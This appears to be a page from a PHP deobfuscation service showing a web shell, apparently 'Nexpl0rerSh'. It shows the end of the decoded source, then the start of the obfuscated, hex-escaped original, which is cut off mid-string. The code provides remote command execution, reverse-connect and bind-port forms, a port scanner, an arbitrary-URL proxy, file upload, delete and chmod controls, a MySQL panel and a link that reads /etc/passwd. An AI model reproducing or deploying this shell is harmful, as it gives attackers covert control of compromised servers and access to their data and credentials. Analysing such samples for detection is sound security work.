\x9 <br>sha1 - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".sha1($_POST[plain])."\" readonly><br>
\x9 \x9 crc32 - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".crc32($_POST[plain])."\" readonly><br></center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($_POST[plain])."\" readonly>\xa
<br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urldecode($_POST[plain])."\" readonly>\xa <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($_POST[plain])."\" readonly></center><center>base64_decode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_decode($_POST[plain])."\" readonly> </center>
<br><b>Base convertations</b>:\xa <center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".dechex($_POST[plain])."\" readonly><br>\xa </center></form>\xa\x9\x9 ";
\x9break;\xa\x9 \xa\x9 // scanner
case 'scanner':\xa\x9 $scandir = str_replace(realpath("."), "", $dir);
\x9
\x9 $scannersh = $dir;\xa\x9\x9\x9if ($scannersh == "") { $scannersh = "/"; }
chdir($scannersh);
\x9 $evil = array("dc3", "Antichat", "s101", "nefastica", "n3tShell", "Nexen", "33rd", "c99", "c2007", "c100", "r57", "shell", "k0tw", "nexpl0rer", "paradox", "Upload", "ZipShell", "Usucktoo", "shell_exec", "exec", "DxShell", "Cod3rz", "Fire-Crash", "subzero" ); \xa
\x9\x9\x9 $output .= "<br>Ho analizzato $scannersh<br>";\xa\x9\x9\x9\x9$checked = array(); \xa \x9foreach (glob("*.php*") as $file) \xa \x9 { \xa \x9\x9 $a = fopen($file, "r+"); \xa \x9\x9\x9 \x9$b = fread($a, filesize($file));
for ($i = 0; $i < count($evil); $i++)
\x9\x9\x9\x9{ \xa \x9\x9\x9 $me = array_reverse(explode("/",$_SERVER['PHP_SELF']));
\x9 $str = eregi($evil[$i], $b); \xa \x9\x9\x9 if (($str !== FALSE) and ($file != $me[0]) and (!in_array($file, $checked)))
\x9 \x9 { \xa \x9\x9 \x9array_push($checked, $file);
\x9\x9\x9 $output .= "Trovato Possibile $evil[$i] in <a class='link' href='{$scandir}{$file}' target='_blank'>{$file}</a><br>"; \xa \x9 \x9 }
\x9\x9 }
\x9 \x9\x9fclose($a); \xa }
\xa
break;\xa \xa // proxy
case 'proxy':
\x9$output = '<form method="post" action="#">url: <input name="url" type="text" size="50" />\xa <input type="submit" value="surf" /> \xa\x9 \x9 <input name="curl" type="checkbox" id="curl" value="curl" />
\x9\x9 use curl <input name="fopen" type="checkbox" id="fopen" value="fopen" /> use fopen<br /> <input type="hidden" name="mode" value="proxysurf" />\xa\x9\x9\x9 </form><br /><br />';\xa\xa \x9break;\xa }\xa}\xa// proxysurf
if ($_POST['mode'] == 'proxysurf') {\xa\x9\x9
\x9 $output = '<form method="post" action="#">url: <input name="url" type="text" size="50" />\xa\x9 <input type="submit" value="surf" />
\x9 <input name="curl" type="checkbox" id="curl" value="curl" />
\x9\x9 use curl <input name="fopen" type="checkbox" id="fopen" value="fopen" /> use fopen<br /> <input type="hidden" name="mode" value="proxysurf" />\xa\x9 </form><br /><br />';\xa if (!$_POST[curl] && !$_POST[fopen]) { \xa \x9 $dirz="";
\x9 $u=parse_url($_POST[url]);
\x9 \x9 $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
\x9\x9 if(substr_count($file,'/')>1)$dirz=substr($file,0,(strpos($file,'/')));\xa\x9 $url=@fsockopen($host,80,$en,$es,12);
\x9\x9\x9\x9\x9if(!$url)die("<br> Can not connect to host!");
\x9 fputs($url,"GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 \x9\x9 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
\x9\x9\x9 while(!feof($url)){\xa\x9\x9\x9 $con=fgets($url);\xa\x9 \x9\x9\x9\x9$output .= $con;\xa\x9 \x9 \x9}\xa \x9\x9fclose($url);
\x9 }\xa\x9\x9 else if ($_POST[curl])
\x9 \x9 {\xa\x9 \x9 ob_clean();
\x9\x9 \x9$ch = curl_init();
\x9\x9 curl_setopt($ch, CURLOPT_URL, $_POST[url]);
\x9\x9 \x9curl_setopt($ch, CURLOPT_HEADER, 0);
\x9 curl_exec($ch);\xa\x9 \x9\x9curl_close($ch);
\x9\x9 ob_end_flush();\xa\x9\x9 \x9}\xa \x9\x9\x9else if ($_POST[fopen]) {\xa \x9$file = file($_POST[url]);\xa \x9\x9\x9foreach ($file as $line){
\x9 \x9\x9$output .= $line;\xa \x9}\xa \x9\x9 }\xa\x9
}\xa
// chmod
if ($_POST['mode']=="chmod") {\xachdir($dir);\xachmod($_POST[filename], intval($_POST[filemode], 8))or die("cannot change file mode");\xa$output = "Mode changed!";\xa}\xa\xa// portscan
if ($_POST['mode']=="scan") {\xa\x9$opent = array();\xa\x9$host = $_POST[host];\xa\x9$range = range($_POST[min_port], $_POST[max_port]);\xa foreach($range as $port) {\xa \x9$con = fsockopen($host, $port, $errno, $errstr, 12);
if ($con) $opent[] = $port;\xa\x9}
\x9$output = "Found ".count($opent)." opened ports:<br />";
while(list($num, $value)=each($opent)) {
\x9$output .= "<b>$num</b> : $value<br />";\xa\x9}
}\xa?><html>\xa<head>\xa<style type="text/css">\xabody {background-color:#000000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; color:#FFFFFF;}
.link {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px; color:#FFFFFF; font-weight:bolder; text-decoration:underline;}\xa.header {\xa font-size: 24px;\xa\x9font-weight: bold;\xa}\xatd#info {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px; color:#000000; font-weight:bold}\xatd {
font-size:12px;
}
.Stile1 {\xa color: #0099FF;
font-weight: bold;\xa}\xa
input {
background-color: #0066FF;
border:#FFFFFF 2px solid;
\x9color:#FFFFFF;
font-family:Verdana;
font-size:10px;\xa}\xatextarea {\xa\xa\x9background-color: #0066FF;\xa border:#FFFFFF 2px solid;\xa color:#FFFFFF;
\x9font-family:Verdana;\xa font-size:10px;
}
select {
\x9background-color: #0066FF;
\x9border:#FFFFFF 2px solid;\xa\x9color:#FFFFFF;\xa font-family:Verdana;
font-size:10px;\xa}\xa.Stile2 {color: #FF0000}\xa.Stile4 {color: #FFFFFF}
</style>
<title>"; goto jC_nZ; z6j9y: echo " of "; goto zdyNu; SgtL1: echo "";\xa\x9 </script>\xa<table width="100%" border="0" cellspacing="0" cellpadding="0">\xa <tr>
<td style="border:#FFFFFF 1px solid;"><form name=fedit action=# method=post>\xa <div align="center"> <strong>:: Edit file :: </strong><br>\xa <input type=hidden name=mode value=edit>\xa name
<input type=text name=modfile size="12">
<input type=submit value=edit>\xa </div></form></td>\xa <td style="border:#FFFFFF 1px solid;"><form action=# method=post>\xa
<div align="center"><strong>:: Make File ::</strong><br />
<input type=hidden name=mode value=mkfile>\xa name\xa <input type=text name='mkfile' size="12">
<input name="submit" type=submit value=make>
</div>
</form> </td>
<td style="border:#FFFFFF 1px solid;"> <form action=# name='delfile' method=post>
<div align="center"><strong>:: Delete File :: </strong><br>\xa <input type=hidden name=mode value=delfile>
name\xa <input type=text name='delfile' size="12">\xa <input type=submit value=unlink>\xa </div>
</form> </td>\xa </tr>
<tr>
<td style="border:#FFFFFF 1px solid;"><form method="post" action="#" enctype="multipart/form-data">
<div align="center"><strong>:: upload :: </strong><br>
<input type="hidden" name="mode" value="upload2" />
<input name="myfile" type="file" id="myfile" value="Load..." size="20" />\xa <input type="submit" name="ok" value="do" />\xa </div>
</form> </td>
<td style="border:#FFFFFF 1px solid;"><form action=# method=post>\xa <div align="center"><strong>:: Rename File :: </strong><br>\xa <input type="hidden" name="mode" value="renfile" />\xa <input type="text" name="oldname" value="0ld name" size="15" />
<input type="text" name="newname" value="New name" size="15" />
<input name="submit" type="submit" value="Ren" />\xa </div>
</form> </td>\xa <td style="border:#FFFFFF 1px solid;"><form action="#" method="post">
<div align="center"><strong>:: Make Dir :: </strong><br>\xa <input type="hidden" name="mode" value="mkdir" />\xa name\xa <input name="mkdir" type="text" size="18" />
<input name="submit" type="submit" value="ok" />\xa </div>
</form> </td>\xa </tr>
<tr>
<td style="border:#FFFFFF 1px solid;"><form action=# method=post>
<div align="center"><strong>:: Cmd Execution :: </strong><br>\xa <input type=hidden name=mode value=cmd>
<input name=cmd size="26" tpye=text>\xa <input name="submit" type=submit value=exec>\xa </div>\xa </form> </td>
<td style="border:#FFFFFF 1px solid;"><form action="#" method="post">
<div align="center"><strong>:: BackConn :: </strong><br>\xa <input type=hidden name=mode value=reverse />\xa <input name="ip" type="text" value=""; goto KD0Rz; MQaKH: echo " ("; goto lOPt2; y3AXc: echo "" />\xa <input type="text" name="host" size="10" value=""; goto nSd_D; jtpCW: echo " "; goto YwzKs; eboFu: echo "' name='dir'>
<input type=submit value=change/list>
</div>\xa </form></td>\xa </tr>\xa <tr>
<td style="border:#FFFFFF 1px solid;"><div align="center">
\x9\x9<form method="post" action="#">
\x9\x9\x9<strong>:: Proxy ::</strong> <br>
<input name="mode" type="hidden" id="mode" value="proxysurf" />
\x9url: <input name="url" type="text" size="30" />\xa \x9 <input type="submit" value="surf" /> \xa\x9 \x9<input name="curl" type="checkbox" id="curl" value="curl" /> curl
\x9 <input name="fopen" type="checkbox" id="fopen" value="fopen" /> fopen<br />
\x9\x9 \xa\x9 </form></div>
</td>
<td style="border:#FFFFFF 1px solid;"><form method="post" action="#">\xa <div align="center"><strong>:: File Change Mode:: </strong><br>\xa <input type="hidden" value="chmod" name="mode" />
<input name="filename" type="text" id="filename" value="file" size="15" />
<input name="filemode" type="text" id="filemode" value="mode" size="15" />\xa <input type="submit" value="Chmod" />\xa </div>
</form> </td>\xa <td style="border:#FFFFFF 1px solid;"><form method="post" action="#">
<div align="center"><strong>:: Port Scan :: </strong><br>\xa <input type="hidden" value="scan" name="mode" />\xa <input name="host" type="text" id="host" value="host" size="15" />
<input name="minport" type="text" value="max port" size="10" />\xa <input name="maxport" type="text" id="maxport" value="max port" size="10" />
\x9\x9<input type="submit" value="scan" />
</div>
</form> </td>\xa </tr>
</table>
\x9 <form action=# name=tools method=post>\xa <span class="Stile1">
<input type=hidden name=mode value=tools /> \xa <input type=hidden name=nometool />
</span>
</form>
<span class="Stile1">\xa <div align="center"><a class="link" href="javascript:document.folder.dir.value='"; goto tjB7g; tl28h: echo " </td>\xa </tr>\xa</table>
</body>
</html>
<? die(); ?>"; ?>
Did this file decode correctly?
Original Code
<?php
goto g4KsW; KNmDY: echo "\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40"; goto ewYin; RcELZ: echo isset($_COOKIE[oTfkf]) ? $_COOKIE[oTfkf] : "\144\x61\164\141\142\x61\163\145"; goto AGT1G; UD1An: echo "\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\74\142\162\76\12\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\125\156\x61\x6d\145\40\x2d\x61\x3a\40"; goto h9jrd; lOPt2: echo $LDjS_; goto WMQsd; jutJT: echo $ZV9ED; goto z6j9y; uZRIx: echo "\x9\11\11\x28\40"; goto wbEuv; ukn9B: echo "\x22\40\57\76\xa\40\x20\x20\40\x20\x20\40\x20\x3c\151\x6e\x70\165\x74\40\156\x61\x6d\x65\75\x22\144\x62\156\x61\155\x65\42\x20\x74\x79\x70\145\x3d\42\x74\145\x78\x74\x22\40\166\x61\x6c\x75\x65\75\42"; goto RcELZ; UXZkv: echo phpversion(); goto g2ZuM; PNhJO: echo "\x20\40\40\x20\40\x20\40\40\40\40\40\40\x3c\142\x72\76\xa\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x4e\x61\x6d\145\x3a\40"; goto xtW1M; tjB7g: echo addslashes(realpath("\x2e")); goto KwF1A; YQiMm: echo "\x20\12\x20\40\40\x20\x20\40\40\x20\40\40\x20\40"; goto A3IJQ; N8oLn: echo "\74\x2f\x74\x69\x74\x6c\145\76\x3c\57\150\x65\x61\x64\76\xa\74\142\157\x64\x79\x3e\12\x3c\164\141\x62\x6c\x65\40\163\x74\x79\x6c\145\x3d\42\x62\x61\143\x6b\x67\x72\157\165\x6e\144\55\143\x6f\x6c\x6f\x72\72\43\63\x33\63\63\x33\x33\73\x20\142\x6f\x72\x64\x65\x72\x2d\x6c\x65\x66\164\x3a\x23\x46\106\x46\106\x46\x46\40\x31\160\170\x20\163\x6f\x6c\x69\x64\x3b\40\x62\157\x72\x64\x65\162\55\162\x69\147\x68\164\72\43\106\106\106\x46\106\x46\40\x31\160\170\x20\x73\157\154\x69\144\x3b\42\x20\x77\x69\x64\x74\x68\x3d\x22\71\x30\x25\42\40\142\157\x72\x64\145\x72\75\42\60\42\40\141\x6c\151\x67\x6e\x3d\x22\x63\x65\156\164\x65\x72\42\40\x63\x65\154\x6c\160\x61\x64\x64\x69\x6e\x67\x3d\42\x30\x22\40\143\x65\154\x6c\x73\160\141\143\151\x6e\147\75\42\x30\42\76\xa\x20\x20\74\x74\162\76\12\40\40\x20\x20\x3c\164\x64\40\163\164\171\x6c\x65\75\42\146\x6f\156\x74\x2d\x73\151\172\145\72\x31\62\160\170\x3b\42\76\74\x64\151\x76\40\x61\x6c\x69\x67\156\75\x22\x63\145\156\164\145\162\42\x20\143\154\141\x73\163\75\x22\150\x65\141\x64\145\162\42\76\x3c\163\x70\x61\156\x20\143\154\141\163\163\x3d\x22\123\x74\x69\x6c\145\x34\x22\x3e\x3c\146\x6f\156\x74\x20\x73\151\172\145\x3d\47\x36\47\x20\x66\x61\143\x65\75\x27\x57\x65\142\144\x69\156\x67\163\x27\x3e\41\74\57\x66\157\x6e\x74\x3e\x3c\57\x73\x70\x61\x6e\x3e\116\x65\170\x70\x6c\60\162\145\162\x53\150\40\x76\63\74\163\160\x61\x6e\40\x63\x6c\141\x73\x73\75\x22\123\x74\x69\154\x65\x32\42\x3e\x2e\64\x2e\63\74\x2f\x73\x70\141\x6e\76\x20\102\114\x34\x63\113\40\122\x65\154\x65\x61\x73\145\x3c\x73\160\x61\x6e\40\x63\154\141\x73\x73\75\x22\123\164\x69\x6c\145\64\42\x3e\x3c\146\157\156\x74\40\163\151\x7a\x65\75\x27\66\x27\x20\146\x61\x63\x65\x3d\47\127\145\142\x64\151\156\x67\163\47\x3e\x21\74\57\x66\x6f\x6e\x74\76\74\x2f\163\x70\x61\x6e\x3e\x3c\57\x64\x69\166\76\xa\x9\x20\x20\74\144\x69\166\40\141\x6c\151\147\156\x3d\42\143\145\156\x74\x65\x72\x22\x3e\74\x73\164\162\x6f\x6e\147\76\x53\150\x65\154\x6c\x20\151\156\x66\157\x3a\40\x3c\x2f\163\x74\162\157\156\147\76\40\x3c\x73\x70\141\x6e\x20\143\154\x61\x73\163\x3d\x22\x53\x74\151\x6c\x65\62\42\76\x41\165\164\x68\157\x72\x3a\x3c\57\163\160\141\156\76\40\x4e\x65\170\x65\156\40\x3c\x73\x70\x61\156\x20\143\154\141\163\x73\75\x22\123\164\151\154\145\x32\42\76\122\x65\x6c\145\x61\x73\145\40\x44\x61\164\145\x3a\74\57\163\x70\x61\156\76\40\61\x20\112\x75\x6e\145\40\62\60\60\70\40\x3c\57\x64\151\x76\x3e\12\x20\40\x20\40\40\40\x3c\x74\x61\142\154\145\40\x73\x74\171\154\145\75\42\x62\x61\x63\x6b\x67\162\157\x75\156\x64\55\x63\157\x6c\157\162\x3a\43\71\x39\x39\71\x39\x39\73\x22\x20\x77\x69\144\164\150\75\x22\61\x30\60\x25\x22\40\x62\x6f\x72\x64\145\x72\75\42\60\x22\x20\x63\145\154\x6c\x73\160\x61\143\x69\156\147\75\x22\x30\x22\40\x63\145\x6c\x6c\x70\x61\x64\144\151\x6e\147\75\x22\x30\x22\76\12\x20\40\x20\x20\x20\40\40\40\x3c\164\x72\76\xa\40\40\40\40\x20\x20\40\x20\40\40\x3c\164\x64\40\151\x64\x3d\42\x69\x6e\x66\157\x22\x20\167\151\x64\164\x68\75\x22\65\x30\x25\42\x3e\x50\110\120\40\126\x65\x72\163\151\157\156\72\x20"; goto UXZkv; pt_bg: echo $_SERVER["\x53\105\x52\126\x45\x52\137\123\117\x46\124\x57\101\x52\105"]; goto h6L_G; AGT1G: echo "\x22\x20\163\151\x7a\145\x3d\42\x31\60\42\40\57\x3e\12\40\x20\x20\40\x20\40\40\x20\74\151\x6e\160\165\164\40\156\141\155\145\x3d\42\x73\165\142\x6d\x69\164\42\40\164\x79\160\145\75\x22\x73\x75\x62\155\x69\x74\x22\x20\166\141\154\165\145\x3d\x22\x4d\171\123\x51\x4c\x22\x20\x2f\76\12\x20\x20\x20\x20\x20\40\40\40\74\57\144\151\166\76\12\40\x20\40\40\74\57\146\x6f\162\x6d\x3e\x20\x20\x20\40\x3c\57\x74\x64\76\12\x20\x20\40\40\x3c\164\144\40\163\164\x79\x6c\x65\75\42\x62\x6f\162\x64\x65\x72\x3a\43\x46\x46\x46\x46\x46\x46\x20\61\x70\x78\40\163\157\x6c\x69\x64\73\42\76\x3c\x66\157\x72\155\x20\155\145\x74\150\x6f\x64\x3d\x22\x70\157\x73\x74\42\40\x61\143\x74\151\157\156\75\42\x23\42\76\xa\x20\40\x20\x20\x20\40\74\x64\x69\166\40\x61\x6c\x69\147\156\x3d\42\x63\x65\156\164\x65\162\x22\76\74\163\x74\162\157\x6e\x67\x3e\x3a\x3a\40\x50\x48\120\40\105\170\145\143\x75\x74\x69\x6f\x6e\x20\72\x3a\x20\x20\74\x2f\163\164\x72\157\156\x67\76\x3c\142\162\76\xa\x20\40\x20\x20\x20\40\74\x69\x6e\x70\165\x74\40\x74\171\160\145\75\x22\150\x69\x64\x64\x65\156\42\x20\x76\141\x6c\165\x65\75\42\x65\x76\x61\x6c\42\40\x6e\141\155\145\x3d\x22\155\157\x64\145\x22\40\x2f\x3e\12\x20\x20\x20\x20\40\x20\40\40\x3c\151\x6e\160\x75\x74\40\156\141\x6d\x65\75\42\x65\166\141\154\42\x20\164\171\160\145\75\x22\164\x65\170\x74\42\40\163\151\172\x65\x3d\42\63\x30\x22\x20\x2f\x3e\xa\x20\40\40\40\x20\x20\40\x20\74\151\156\x70\x75\x74\x20\164\171\x70\145\x3d\x22\163\x75\x62\155\x69\x74\x22\x20\166\141\x6c\x75\145\75\42\105\166\141\154\x22\40\57\x3e\12\40\40\40\x20\x20\x20\74\57\x64\x69\x76\76\12\40\x20\40\x20\74\57\x66\157\162\155\76\40\40\74\x2f\164\144\x3e\xa\40\x20\x20\40\74\x74\x64\x20\x73\x74\171\154\x65\x3d\x22\142\x6f\162\x64\x65\162\x3a\x23\106\x46\x46\106\x46\x46\x20\61\160\x78\40\163\157\154\x69\x64\73\x22\x3e\74\146\157\x72\155\x20\141\143\164\151\157\x6e\x3d\x23\x20\x6d\x65\x74\x68\157\x64\x3d\160\157\163\x74\40\156\141\155\x65\x3d\42\x66\157\x6c\144\x65\162\x22\x20\x69\144\x3d\x22\146\x6f\154\144\x65\162\42\x3e\12\40\40\x20\x20\40\x20\74\144\x69\166\40\141\154\x69\x67\156\x3d\x22\143\x65\x6e\x74\x65\x72\x22\76\x3c\x73\x74\162\x6f\x6e\147\76\x3a\x3a\x20\107\157\40\x44\x69\162\x20\x3a\72\74\x2f\x73\164\162\x6f\156\x67\x3e\40\x20\40\x20\x20\40\x20\x20\74\x62\x72\x3e\xa\x20\x20\x20\40\x20\40\x20\x20\x3c\151\x6e\160\x75\x74\x20\164\171\x70\145\x3d\150\x69\144\x64\x65\x6e\40\156\x61\x6d\145\x3d\x27\155\157\x64\145\x27\x20\166\141\154\165\145\x3d\x27\x6c\163\47\x3e\xa\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x3c\x69\156\160\165\164\x20\164\x79\x70\x65\x3d\x74\x65\x78\x74\x20\166\141\154\165\x65\x3d\x27"; goto xV8WP; y8tBn: echo "\42\x20\163\151\172\x65\75\x22\x32\66\x22\40\x2f\x3e\xa\40\x20\40\40\40\x20\40\40\x3c\x69\156\x70\x75\x74\40\156\x61\155\x65\75\42\x70\x6f\x72\164\x22\x20\x74\171\x70\145\75\x22\164\x65\170\x74\42\40\x76\141\x6c\x75\x65\x3d\x22\160\x6f\162\x74\56\56\x2e\42\40\x73\151\172\x65\75\x22\61\x30\x22\x20\x2f\76\xa\x20\40\x20\x20\x20\40\40\x20\x3c\151\156\x70\x75\x74\x20\156\141\155\x65\75\42\163\165\x62\155\151\164\42\40\x74\x79\160\x65\75\x22\163\165\142\155\x69\x74\42\x20\166\x61\154\165\x65\x3d\42\102\x61\143\x6b\x43\x6f\156\156\42\x20\57\76\12\40\x20\40\40\x20\x20\x20\40\x3c\x2f\x64\x69\166\76\xa\x20\x20\x20\x20\74\57\x66\x6f\162\155\x3e\40\40\40\40\x3c\x2f\164\x64\x3e\xa\40\40\x20\40\74\x74\144\40\163\164\171\x6c\x65\x3d\x22\142\x6f\162\144\145\x72\x3a\43\106\106\106\106\x46\x46\x20\x31\160\170\40\163\x6f\154\x69\144\73\x22\76\74\146\x6f\162\x6d\40\141\143\x74\x69\x6f\x6e\x3d\43\40\x6d\x65\164\x68\x6f\x64\x3d\x22\x70\x6f\163\164\42\76\12\40\40\x20\x20\40\40\x3c\x64\151\x76\x20\x61\x6c\151\147\156\75\42\x63\x65\x6e\164\x65\162\x22\x3e\74\x73\x74\x72\x6f\x6e\x67\x3e\72\x3a\40\x42\x69\x6e\x64\40\x50\x6f\x72\x74\x20\72\72\x20\74\57\163\x74\x72\157\156\x67\x3e\x3c\x62\x72\x3e\xa\x20\x20\x20\40\x20\x20\x20\40\x20\40\x3c\151\156\160\165\x74\40\x74\171\x70\x65\x3d\x22\x68\x69\x64\x64\145\x6e\x22\x20\x6e\x61\155\145\x3d\42\155\x6f\x64\x65\42\x20\166\x61\x6c\165\145\x3d\42\x62\151\x6e\x64\42\40\x2f\76\12\x20\x20\40\x20\x20\40\40\x20\40\40\74\151\x6e\x70\x75\164\x20\156\141\x6d\x65\x3d\42\x73\165\x62\155\151\164\x37\42\x20\x74\x79\160\x65\75\x73\165\142\155\151\x74\x20\166\141\154\165\145\x3d\42\102\151\x6e\x64\x20\x70\x6f\162\164\x20\x33\x31\x33\63\x37\42\40\57\76\12\40\40\40\x20\40\40\x20\x20\x3c\x2f\144\x69\x76\76\xa\x20\40\40\40\74\57\146\157\x72\x6d\x3e\40\40\40\40\74\57\x74\x64\76\xa\40\x20\x3c\x2f\x74\162\x3e\12\x20\40\74\x74\162\x3e\12\40\x20\x20\40\x3c\x74\144\40\163\x74\x79\154\x65\x3d\x22\x62\157\162\144\145\x72\72\43\106\106\106\x46\x46\x46\40\61\x70\170\40\163\x6f\154\151\144\73\42\76\x3c\x66\157\x72\x6d\x20\x61\x63\x74\x69\157\x6e\75\x22\x23\x22\x20\x6d\x65\x74\150\x6f\144\75\x22\x70\x6f\x73\x74\42\40\156\141\155\145\75\42\163\x71\x6c\x70\141\x6e\145\154\x22\40\x69\x64\75\x22\163\161\154\x70\x61\x6e\145\x6c\x22\76\12\x20\40\x20\40\x20\40\x3c\144\x69\166\x20\x61\154\x69\147\156\75\x22\x63\x65\x6e\x74\x65\x72\42\x3e\74\x73\164\x72\x6f\x6e\147\x3e\72\72\40\115\x79\123\121\114\40\120\x61\x6e\145\x6c\40\x3a\x3a\x20\x3c\57\163\x74\162\157\156\x67\x3e\74\x62\162\76\12\x20\40\x20\x20\40\40\74\151\x6e\x70\165\x74\40\164\x79\160\145\75\x68\x69\x64\x64\145\x6e\40\x6e\x61\155\145\75\x6d\x6f\144\x65\40\166\x61\154\x75\145\x3d\154\x6f\x67\151\x6e\163\161\x6c\40\x2f\x3e\12\x20\x20\x20\x20\40\x20\x20\40\x3c\151\156\x70\165\164\x20\x6e\141\x6d\145\75\x22\165\x73\x65\162\42\x20\x74\171\160\x65\x3d\42\164\145\170\164\x22\x20\166\141\154\x75\x65\x3d\x22"; goto JcwPY; JcwPY: echo isset($_COOKIE[CEwOv]) ? $_COOKIE[CEwOv] : "\165\163\x65\162"; goto y4tCF; xV8WP: echo $IJ20S; goto eboFu; rGQ1s: echo "\x20\40\x20\x20\40\x20\40\40\x20\40\74\57\144\151\x76\x3e\x3c\57\x74\144\76\xa\40\40\x20\x20\40\40\40\x20\74\57\164\162\76\12\40\x20\40\x20\40\x20\74\x2f\164\141\x62\154\145\x3e\12\x9\x20\40\x3c\163\x63\x72\x69\x70\164\40\x6c\x61\156\147\x75\x61\147\x65\x3d\112\141\x76\x61\x73\x63\162\151\x70\x74\76\xa\x9\40\x20\166\x61\162\x20\170\40\75\x20\x6e\145\167\40\x49\x6d\x61\x67\145\50\51\x3b\12\11\x20\x20\170\x2e\x73\x72\143\40\x3d\x20\x22"; goto CwF59; KwF1A: echo "\47\x3b\x64\157\x63\x75\x6d\145\156\x74\x2e\146\x6f\154\144\145\x72\56\x73\x75\x62\x6d\x69\x74\x28\51\x3b\42\76\x48\x6f\155\145\x3c\x2f\141\76\40\x2d\x20\x3c\x61\40\x63\x6c\x61\x73\163\x3d\x22\154\151\156\x6b\42\x20\x68\162\145\x66\x3d\42\152\141\166\141\163\143\x72\151\160\164\72\x64\x6f\143\x75\155\x65\156\x74\x2e\164\157\157\154\x73\56\x6e\157\x6d\145\x74\x6f\157\154\56\166\141\154\x75\x65\75\47\160\x61\x73\163\167\x64\x27\73\x64\x6f\143\x75\x6d\145\x6e\164\x2e\x74\157\x6f\x6c\163\56\163\x75\x62\x6d\151\x74\50\x29\x3b\42\76\x43\x61\164\40\x2f\145\x74\x63\x2f\x70\x61\163\163\167\x64\74\x2f\141\76\x20\55\x20\74\x61\x20\x63\x6c\141\x73\163\x3d\42\154\151\156\153\x22\40\x68\162\145\x66\75\x22\x6a\141\166\x61\x73\x63\162\x69\160\x74\x3a\x64\x6f\x63\165\x6d\145\x6e\164\56\x74\x6f\x6f\154\x73\x2e\156\x6f\x6d\145\x74\157\157\x6c\x2e\166\x61\x6c\x75\145\75\47\145\156\143\x6f\x64\145\x72\x27\73\144\x6f\x63\165\x6d\145\156\164\x2e\x74\157\157\154\x73\56\x73\x75\x62\x6d\151\164\50\51\x3b\42\x3e\105\x6e\143\x6f\x64\145\162\74\x2f\141\76\40\x2d\x20\74\x61\40\143\x6c\141\163\163\x3d\x22\154\x69\156\x6b\42\40\x68\x72\x65\x66\x3d\42\x6a\141\x76\x61\163\143\162\x69\x70\164\72\x64\x6f\143\x75\x6d\145\156\x74\56\x74\157\x6f\x6c\163\56\155\157\144\145\56\x76\141\x6c\165\x65\75\x27\x70\x68\x70\x69\x6e\146\157\x27\73\144\157\143\165\155\x65\156\164\x2e\164\157\157\154\x73\56\x73\x75\142\x6d\151\x74\50\51\73\42\x3e\x50\110\x50\111\x6e\x66\157\x3c\57\x61\x3e\x20\55\40\74\141\x20\143\154\x61\163\163\x3d\42\154\151\x6e\x6b\42\x20\x68\162\145\146\75\42\152\141\166\x61\x73\143\x72\151\x70\x74\72\x64\157\143\x75\155\x65\156\x74\x2e\x74\157\157\154\x73\56\x6e\157\155\x65\x74\157\157\x6c\x2e\166\141\154\x75\145\75\47\x73\143\141\x6e\x6e\x65\x72\x27\73\144\x6f\x63\165\x6d\x65\156\x74\x2e\x74\157\157\154\163\56\x73\x75\142\x6d\151\x74\50\x29\73\x22\x3e\123\x68\145\154\x6c\x53\x63\x61\156\x3c\57\141\x3e\40\55\x20\x3c\141\x20\x63\154\141\x73\163\75\42\x6c\151\x6e\x6b\42\40\x68\x72\145\x66\x3d\x22\152\141\x76\141\x73\143\162\x69\160\x74\x3a\144\x6f\143\x75\x6d\x65\x6e\164\x2e\164\x6f\157\154\163\56\x6e\157\x6d\x65\164\x6f\x6f\x6c\56\x76\x61\154\165\145\75\x27\x70\162\x6f\170\x79\47\x3b\144\x6f\x63\165\155\145\156\x74\x2e\x74\157\157\154\163\x2e\x73\165\x62\x6d\151\x74\50\51\x3b\42\76\x50\162\157\x78\171\x3c\x2f\x61\76\40\x3c\x2f\x64\x69\x76\x3e\12\x9\40\40\74\142\162\x3e\12\11\x20\x44\x69\x72\x65\143\164\157\162\171\72\74\x2f\163\x70\x61\x6e\x3e\x20\12\x9\40\74\77\40\44\160\144\x20\75\40\x24\145\40\x3d\40\x65\170\160\154\x6f\x64\x65\x28\104\111\122\x45\103\124\x4f\x52\x59\137\123\105\120\101\x52\101\x54\117\122\54\163\165\x62\163\164\162\50\x24\x64\151\x72\x2c\60\54\x2d\61\x29\51\x3b\xa\44\x69\x20\x3d\40\x30\73\xa\146\157\x72\145\x61\x63\x68\50\44\x70\x64\x20\x61\x73\x20\x24\x62\x29\12\x7b\xa\40\x24\x74\x20\75\40\x22\42\73\12\x20\x24\x6a\40\75\x20\60\73\12\x20\146\x6f\x72\145\141\143\150\x20\50\44\x65\40\141\163\40\44\162\51\xa\40\x7b\xa\x20\40\44\164\x2e\x3d\x20\44\x72\56\x44\111\122\x45\103\124\117\x52\x59\137\123\105\x50\x41\122\x41\x54\117\x52\x3b\12\x20\40\151\146\40\50\44\152\x20\x3d\x3d\x20\44\x69\51\x20\173\142\x72\x65\141\x6b\x3b\x7d\12\x20\x20\44\x6a\x2b\x2b\73\xa\x20\175\xa\40\x65\x63\150\x6f\40\42\74\x